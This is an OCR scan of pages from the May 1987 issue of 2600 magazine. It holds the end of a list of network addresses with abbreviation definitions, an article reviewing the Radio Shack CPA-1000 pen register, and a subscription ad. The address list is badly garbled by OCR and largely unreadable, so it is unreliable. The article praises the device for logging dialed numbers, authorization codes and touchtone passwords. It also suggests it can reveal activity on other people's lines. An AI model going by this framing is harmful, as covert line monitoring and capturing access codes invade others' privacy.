: 4 1 435 , : 

: 4 1436 : 06 AOS/YS : R09r 10005A 

: 4 1 438 ,: 

: 4 1 443 , :  : ' ID '  • 

: 4 1 444 : : Wll cOIi
' 

Typi Slni .. Idtnt i l i er 
: 4 1 450 : VAl/VIIS : A l l en-Brodl ey cm 
+-------+------------+-----------_ ... _ ... _-----_ ...... _-_ .. ----------_ ...... ..  -

'" .1 end o f .ddre .. .  i gn i l i l. ' . i l l  not Kcepi col 1 l< l  connl<t i on' IhUl, YOil 
nted • ' Tel onel ID' or "'" ot�er lion. to (onnl<l 10 I hl 'Yltel. 
Any .ddr ..... rt.ponding  vi lh 'hjlc t i ng ' or 'Nol o,.rot i n g ' ,  .n IlIIIonr i l y  

dovn . Al L  ibove iddr ..... Vlre .or k i ng . 1  of 1111 d.te o f  up,d.tt .  
. 

Dll i n i ti ons of  .bbrbi.t i ons:  

. OS - nih 8In., ,1 
P-E - Per ki n-El l" 
ADS - �.,"c.d Oper.t i ng Sy,l .. (D6)  
Acr2 - AcC"" Conlrol f.c i l i ly 2,  Sofh.n Steur i l, Pu kog' for 18ft ".i n f r .lIl. 
C IC S  - Cusl ... r I n forul i on Conlrol  Syshl ( 18ft) 

TSO - Till SIIlr i n, Dtlt i on  ! IB") 
TOPS - Tol i! OPlrot i ng Sysht ( DEC)  
ISTS/E - Resourc.  5ysht Tilt Shir i n, IEnvi r onllnl (DEC)  
""lIic5  - 0/5 ".de by Honey.el l  (no l onger In  produc l i on )  
C DC  - Conlrol O.h Cor ponl i on ( ".kl. CYBER C..,uler , )  
LAN - Loul A r  . .  Nelwor k 
Por i 5.1 . - Por i Sileclor - cou l d  bf • �ICO", • PACI,  or olher .hI C h  In., : ,. 

you 10 connKt 10 ."i OllI h�11 ly,II ... 

Llg l on Of Hi"." 
Con l r i bulors: 

Lit Lulhor / Siry 5f.en (LOH) 

More Next Month 



A PEN REGISTER FOR PHREAKS? 
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The fairly new Radio Shack CPA-1 000 "pen 

register" is a most remarkable piece of equipment 
and a must for those who want to know what's 
really happening on their phone l ines. 

In the past , phone phreaks have always 
dreaded having a pen register put on their l ine-a 
device that prints out every number dialec:l, 
including authorization codes and touchtone 
passwords. By having one already on your l ine in 
the comfort of your own home , you at least have 
the convenience of seeing what others might be 
seeing .  

But  that's not the only reason to  have one of 
' these devices. Have you ever wondered how a 
part icular phone number got onto your bi l l? The 
CPA-1 000 wil l tell you , as soon as the number is 
dialed. It wi l l  also tel l you how long the phone 
was off the hook for. ( Note: that is not the same 
as how long the conversation went on for. The 
machine cannot tell if the line was busy or never 
answered-it treats all calls the same.) This wil l  
work for any extension hooked up on that l ine, 
including those not inside your house, such as 
when the telephone l ineman hooks into your l ine 
on the pole or when the switctvnan at the central 
office is p laying around . This device is also quite 
convenient when a repairman comes around and 
dials some of those magic numbers. Now it wil l 
all be neatly recorded. 

The CPA-1 QOO also keeps track of incoming 
cal ls. It wi l l  tel l you how many times the phone 
rang and how long the phone was off the hook, if 
it was picked up at al l .  This in itself is a great 
supplement to an answering machine that doesn't 
have a time funct ion . Every time the phone ring�, 

the date and t ime wil l  be printed out. 
Of course, consumers can now do the same 

nasty things that only feds or spies could do 
before. Simply plugging the CPA-1 000 into a 
mocillar outlet anywhere (the unit can 1\11 on four 
"AA" batteries) wil l  give you all activity for that 
l ine as it happens. It wi l l  even record long 
distance authorization codes . 

Recently, we reported a problem on one of our 
l ines to the telephone company . Within minutes, 
the C PA-1  000 started pr int ing out strange 
information. According to its report , the phone 
rang zero times and someone was on the phone 
for thirty seconds . This happened about four or 
five times. We were actually able to "see" the 
phone canpany testing the line. 

The CPA-1Ooo looks l ike a smal l  adding 
machine and uses the same type of paper. It  
doesn't make much noise when it prints, and it 
can be easily muffled. At the end of each day, the 
total number of incoming calls, non-answered 
incoming cal ls, outgoing calls, and outgoing calls 
exceeding ten digits is printed out. An additional 
feature is the accounting code. All a person has 
to do is dial or touch tone four digits before they 
hang up. Those four digits wil l  print out below the 
other infDrmation-a great way to claim calls. 
The unit can support cal l  waiting and works 
perfectly regardless of whether the caller is using 
touch tone or pulse or even both. 

I t's rather amusing that Radio Shack would 
come out with a product l ike this when it's been 
so busy trying to get people to stop l istening to 
cel lular phone cal ls. While this isn't an actual 
bug , onecan tel l an awful lot about a person or a 
company by the numbers they dial . It's nice to 
know that at last the commoners can see what's 
really going on inside their phone l ines-and 
maybe inside others as wel l .  The authorities have 
been doing this for years. 

Instead of Reading This Ad 
Read the One on Page 5 .  

You Won't Regret It . 
Page 22 May, 1 987 2600 



AlTE NTI O N  
Does you r  address labe l  say 'Time to Renew"? Don 't m iss a n  
iss u e .  Renew you r  s u bscr i ption today a nd enjoy peace of m i nd .  
$ 1 5 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  1 yea r subscr iption o r  renewa l 
$28 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  2 year subscription or renewa l 
$41 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  3 year subscription or renewa l 
$40 . . . . . . . . . . . . . . . . . . .  1 year corporate subscr iption or renewa l 
$75 . . . . . . . . . . . . . . . . . . .  2 year corporate subscr iption or renewa l 
$ 1 1 0  . . . . . . . . . . . . . . . . . 3 year corporate subscr iption or renewa l 
$25 . . . . . . . . . . . . .  overseas subscr iption or renewa l ( 1  year on ly) 
$55 . .  overseas corporate subscription or renewa l (1 year on ly) 
$260 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  l ifetime subscription 

BACK ISSUES are ava i lable.  Prices are: 

$25 . . . . . . . . . . . . . . . . . . .  1 984, 1 985, or 1 986 issues ( 1 2 per year) 
$50 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  Any two years 
$75 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .  AI I three years (36 issues) 
(Overseas orders add $5 for each year ordered) 
Al low 4 to 6 weeks for del ivery. 

Send a l l  orders to: 
2600 
PO Box 752 

. M iddle Is land, NY 1 1 953 U.S.A. 
(51 6) 75 1 -2600 
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